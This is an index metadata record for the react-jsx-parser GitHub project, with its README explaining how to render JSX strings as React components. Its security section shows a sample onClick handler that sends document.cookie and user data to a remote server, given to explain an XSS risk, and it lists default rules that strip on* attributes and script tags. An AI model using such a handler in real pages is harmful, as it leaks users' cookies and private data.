{"id":14981975,"url":"https://github.com/troyalford/react-jsx-parser","last_synced_at":"2025-05-14T03:07:28.172Z","repository":{"id":38274526,"uuid":"80382940","full_name":"TroyAlford/react-jsx-parser","owner":"TroyAlford","description":"A React component which can parse JSX and output rendered React Components.","archived":false,"fork":false,"pushed_at":"2025-05-11T03:06:20.000Z","size":5156,"stargazers_count":690,"open_issues_count":6,"forks_count":103,"subscribers_count":4,"default_branch":"develop","last_synced_at":"2025-05-11T04:18:15.011Z","etag":null,"topics":["jsx","react-components","reactjs"],"latest_commit_sha":null,"homepage":null,"language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/TroyAlford.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2017-01-30T00:28:31.000Z","updated_at":"2025-05-07T18:31:19.000Z","dependencies_parsed_at":"2024-01-13T20:58:59.576Z","dependency_job_id":"82477fb1-602a-48ec-adef-82f147aeee53","html_url":"https://github.com/TroyAlford/react-jsx-parser","commit_stats":{"total_commits":324,"total_committers":30,"mean_commits":10.8,"dds":0.5092592592592593,"last_synced_commit":"61cf8ab00e4fb0e82f8dc6276612177cda413ef4"},"previous_names":[],"tags_count":69,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TroyAlford%2Freact-jsx-parser","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TroyAlford%2Freact-jsx-parser/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TroyAlford%2Freact-jsx-parser/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TroyAlford%2Freact-jsx-parser/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/TroyAlford","download_url":"https://codeload.github.com/TroyAlford/react-jsx-parser/tar.gz/refs/heads/develop","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254059502,"owners_count":22007768,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["jsx","react-components","reactjs"],"created_at":"2024-09-24T14:04:35.272Z","updated_at":"2025-05-14T03:07:28.137Z","avatar_url":"https://github.com/TroyAlford.png","language":"TypeScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# react-jsx-parser [![CircleCI][circle-ci-badge]](https://circleci.com/gh/TroyAlford/react-jsx-parser) [![Version][npm-version]][npm-link] [![NPM Downloads][npm-downloads]][npm-link] [![License][npm-license]](https://github.com/TroyAlford/react-jsx-parser/blob/master/LICENSE)\n\n[circle-ci-badge]: https://circleci.com/gh/TroyAlford/react-jsx-parser.svg?style=svg\n[npm-version]: https://img.shields.io/npm/v/react-jsx-parser.svg\n[npm-downloads]: https://img.shields.io/npm/dt/react-jsx-parser.svg\n[npm-license]: https://img.shields.io/npm/l/react-jsx-parser.svg\n[npm-link]: https://www.npmjs.com/package/react-jsx-parser\n\nA React component which can parse JSX and output rendered React Components.\n\n## Basic Usage - Injecting JSX as a String\n```javascript\nimport React from 'react'\nimport JsxParser from 'react-jsx-parser'\nimport Library from 'some-library-of-components'\n\nclass InjectableComponent extends Component {\n  static defaultProps = {\n    eventHandler: () =\u003e {}\n  }\n  // ... inner workings of InjectableComponent\n}\n\nconst MyComponent = () =\u003e (\n  \u003cJsxParser\n    bindings={{\n      foo: 'bar',\n      myEventHandler: () =\u003e { /* ... do stuff ... */ },\n    }}\n    components={{ InjectableComponent, Library }}\n    jsx={`\n      \u003ch1\u003eHeader\u003c/h1\u003e\n      \u003cInjectableComponent eventHandler={myEventHandler} truthyProp /\u003e\n      \u003cLibrary.SomeComponent someProp={foo} calc={1 + 1} stringProp=\"foo\" /\u003e\n      \u003cLibrary.DataFetcher\u003e((data) =\u003e \u003cdiv\u003e{data.name}\u003c/div\u003e)\u003c/Library.DataFetcher\u003e\n    `}\n  /\u003e\n)\n```\n\nBecause `InjectableComponent` is passed into the `JsxParser.props.components` prop, it is treated as a known element\ntype, and created using `React.createElement(...)` when parsed out of the JSX. You can also pass in a whole collection\nof components, as shown by the `Library` binding, and then access the individual items with `LibraryName.ComponentName`.\n\nFinally, a note about property bindings. The `JsxParser` can handle several types of binding:\n - implicit `true` bindings, such as `\u003cInjectableComponent truthyProp /\u003e` (equivalent to `truthyProp={true}`)\n - string-value binding, such as `stringProp=\"foo\"`\n - expression-binding, such as `calc={1 + 1}`\n - named-value binding, such as `eventHandler={myEventHandler}` (note that this requires a match in `bindings`)\n - simple [single statement arrow expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#basic_syntax) `(item) =\u003e \u003cp\u003e{item.name}\u003c/p\u003e`\n\nThe component **_does not_** support inline function declarations, such as:\n - `onClick={function (event) { /* do stuff */ }}`, or\n - `onKeyPress={event =\u003e { /* do stuff */}}`\n - Function or arrow functions with bodies `() =\u003e { return \u003cp\u003eThis will not work\u003c/p\u003e }`\n\nThis is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:\n```javascript\n\u003cJsxParser\n  bindings={{ userInfo: { private: 'data' } }}\n  onClick={() =\u003e {\n    fetch('/some/remote/server', {\n      body: JSON.stringify({ cookies: document.cookie, userInfo })\n    })\n  }}\n/\u003e\n```\n\n## Advanced Usage - Injecting Dynamic JSX\n```javascript\n// Import desired set of components\nimport { ComponentA, ComponentB } from 'somePackage/Components'\nimport ComponentC from 'somePackage/ComponentC'\nimport ComponentD from 'somePackage/ComponentD'\n...\n// Load an HTML or XML fragment from a remote API\nconst dynamicHtml = loadRemoteData()\n...\n// Within your component's render method, bind these components and the fragment as props\n\u003cJsxParser\n  bindings={bindings}\n  components={{ ComponentA, ComponentB, ComponentC, ComponentD }}\n  jsx={dynamicHtml}\n/\u003e\n```\n\nAny `ComponentA`, `ComponentB`, `ComponentC` or `ComponentD` tags in the dynamically loaded XML/HTML fragment will be rendered as React components. Any unrecognized tags will be handled by `React`.\n\n_Note:_ Non-standard tags may throw errors and warnings, but will typically be rendered in a reasonable way.\n\n## Advanced Usage - HTML \u0026 Self-Closing Tags\nWhen rendering HTML, standards-adherent editors will render `img`, `hr`, `br`, and other\n[void elements](https://www.w3.org/TR/2011/WD-html-markup-20110113/syntax.html#void-elements) with no trailing `/\u003e`. While this is valid HTML, it is _not_ valid JSX. If you wish to opt-in to a more HTML-like parsing style, set the `autoCloseVoidElements` prop to `true`.\n\n### Example:\n```jsx\n// \u003chr\u003e has no closing tag, which is valid HTML, but not valid JSX\n\u003cJsxParser jsx=\"\u003chr\u003e\u003cdiv className='foo'\u003eFoo\u003c/div\u003e\" /\u003e\n// Renders: null\n\n// \u003chr\u003e\u003c/hr\u003e is invalid HTML, but valid JSX\n\u003cJsxParser jsx=\"\u003chr\u003e\u003c/hr\u003e\u003cdiv className='foo'\u003eFoo\u003c/div\u003e\" /\u003e\n// Renders: \u003chr\u003e\u003cdiv class='foo'\u003eFoo\u003c/div\u003e\n\n// This is valid HTML, and the `autoCloseVoidElements` prop allows it to render\n\u003cJsxParser autoCloseVoidElements jsx=\"\u003chr\u003e\u003cdiv className='foo'\u003eFoo\u003c/div\u003e\" /\u003e\n// Renders: \u003chr\u003e\u003cdiv class='foo'\u003eFoo\u003c/div\u003e\n\n// This would work in a browser, but will no longer parse with `autoCloseVoidElements`\n\u003cJsxParser autoCloseVoidElements jsx=\"\u003chr\u003e\u003c/hr\u003e\u003cdiv className='foo'\u003eFoo\u003c/div\u003e\" /\u003e\n// Renders: null\n```\n\n## PropTypes / Settings\n```javascript\nJsxParser.defaultProps = {\n  allowUnknownElements: true, // by default, allow unrecognized elements\n  // if false, unrecognized elements like \u003cfoo\u003e are omitted and reported via onError\n\n  autoCloseVoidElements: false, // by default, unclosed void elements will not parse. See examples\n\n  bindings: {}, // by default, do not add any additional bindings\n\n  blacklistedAttrs: [/^on.+/i], // default: removes `on*` attributes (onClick, onChange, etc.)\n  // any attribute name which matches any of these RegExps will be omitted entirely\n\n  blacklistedTags:  ['script'], // by default, removes all \u003cscript\u003e tags\n\n  className: '', // space-delimited classes to add to wrapper (ignored if renderInWrapper=false)\n\n  components: {}, // an object map of component tag-names to their definitions - see above\n  // components must extend React.Component, React.PureComponent, or be a Function\n\n  componentsOnly: false, // non-component HTML tags are allowed by default, omitted if true\n\n  disableFragments: false, // if true, React \u003cFragment /\u003es will not be used.\n  // Note: This introduces subtle errors with regard to white-space, and is provided only for\n  // backward compatibility with React 15.x\n\n  disableKeyGeneration: false, // if true, rendering will not automatically generate `key` props.\n  // Note: This may result in the \"Child elements should have a unique 'key' prop \" React error.\n\n  jsx: '', // the jsx string to be parsed \u0026 rendered\n\n  onError: () =\u003e {}, // if specified, any rendering errors are reported via this method\n\n  showWarnings: false, // if true showWarnings, rendering errors are output with console.warn\n\n  renderError: undefined, // if specified, this function can be used to render errors as a fallback\n\n  renderInWrapper: true, // if false, the HTML output will have no \u003cdiv\u003e wrapper\n\n  renderUnrecognized: tagName =\u003e null, // unrecognized tags are rendered via this method\n}\n```\n\n## Older Browser Support\n\nIf your application needs to support older browsers, like `IE11`, import from `react-jsx-parser/dist/es5/react-jsx-parser.min.js`,\nwhich transpiles the `acorn-jsx` dependency down to ES5, and also adds additional polyfill support for code used in this package.\n\n**Note**: \u003cu\u003enot\u003c/u\u003e recommended for implementations which only support modern browsers, as the ES5 version is roughly 30% larger.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftroyalford%2Freact-jsx-parser","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftroyalford%2Freact-jsx-parser","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftroyalford%2Freact-jsx-parser/lists"}